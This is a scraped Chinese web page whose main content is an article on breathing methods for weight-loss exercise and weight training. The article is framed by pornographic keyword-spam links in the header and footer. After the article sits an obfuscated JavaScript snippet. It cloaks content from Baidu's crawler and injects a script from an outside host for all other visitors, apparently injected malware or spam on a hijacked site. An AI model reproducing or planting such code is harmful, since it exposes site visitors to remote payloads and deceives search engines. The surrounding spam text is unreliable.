久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

運動減肥呼吸法是怎么做的?

2017-04-21 15:01:35  來源:360常識網   熱度:
導語:現在很多人減肥的時候都會選擇運動方法,不論是騎自行車也好還是跑步也好,減肥的效果都是十分驚人的。當然,在運動過程當中,呼吸的掌控十

現在很多人減肥的時候都會選擇運動方法,不論是騎自行車也好還是跑步也好,減肥的效果都是十分驚人的。當然,在運動過程當中,呼吸的掌控十分重要,一旦呼吸頻率太高,就會讓人過早的出現疲勞的問題,而且體質差的可能會暈倒在地。今天就來介紹一下運動減肥的呼吸方法。

同步式呼吸法:每做一次動作進行一次呼吸,呼吸是在動作過程中完成的。

1、肌肉收縮時瞬間閉氣并快呼氣,肌肉伸展時慢吸氣。一般在負荷較重、仰臥位做動作或須固定肩帶和胸腹部時采用這種呼吸方式,比如,做“頸后寬推”、“仰臥推舉”、“腿舉”等動作時采用。胸部練習時,為達到盡可能挺胸沉肩的要求,允許深吸氣,如“仰臥飛鳥”,但閉氣時間一定要短暫,呼氣為噴吐式。

2、肌肉收縮時瞬間閉氣并快呼氣,肌肉伸時慢呼氣。此呼吸方式與上式相反,吸氣時快速有力,呼氣時緩慢深長。一般在負荷較輕及退讓性練習時采用,比如,做“啞鈴彎舉”、“立姿飛鳥”等動作時采用。這一方式強調的是意念集中。

呼吸頻率與動作次數不相等,呼吸是在動作間歇時進行的。

1、幾次動作一次呼吸。連續做幾次動作后暫停,做一次呼吸,再連續做幾次動作后再做一次呼吸。此方式在一次訓練的開始階段,重量輕、速度快、精力充沛時,或做準備活動時常采用,比如,做“俯臥撐”、“雙杠臂屈伸”等動作時采用。

2、一次動作幾次呼吸。在大重量負荷(所能承受重量的90%以上)或身體接近疲勞時,調整一下呼吸,以便再努力完成一次動作練習,比如,做“杠鈴深蹲”、“腿舉”等動作時采用。這種呼吸方式強調的是超負荷訓練。

對于一些女孩子來說,選擇的運動一般都是強度比較小的運動,所以呼吸應該自由調節,可以依據自身的情況來調整呼吸,如果感覺缺氧,那么就可以深呼吸。這種自由調節呼吸法適合做慢跑、跳繩等等運動方法。這樣就可以讓身體獲得更多的氧氣,讓運動效果翻倍。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产精品3区 | 综合精品久久久 | 韩国三级中文字幕hd有奶水 | 成人午夜激情 | 一区二区三区在线免费观看 | 99久久久久久 | 国产精品美女久久久久久免费 | 国产成人精品网站 | 国产精品一区二区在线观看 | 日本好好热视频 | 久久精品不卡 | www.久久久 | 国产精品久久久久久久久 | 久久亚洲一区 | 日韩av在线一区二区 | 亚洲欧美在线免费观看 | 亚洲欧美视频一区 | 国产极品美女在线播放 | 精品亚洲一区二区三区在线观看 | 久久精品91 | 久久国产亚洲 | 欧美国产亚洲一区二区 | 成人a级网站| 一级黄网 | 色婷婷影院 | 久久激情视频 | 天天色天天看 | 欧美精品久久久久久精华液 | 欧美日韩国产一区二区三区不卡 | 国产高清精品一区二区三区 | 国产精品一区免费观看 | 亚洲一二三区不卡 | 在线第一页| 日韩三级电影视频 | 亚洲h网站 | 日韩成人一级片 | 91短视频版在线观看免费大全 | 亚洲精品a | 午夜剧场欧美 | 午夜视频一区 | 在线观看黄色网 |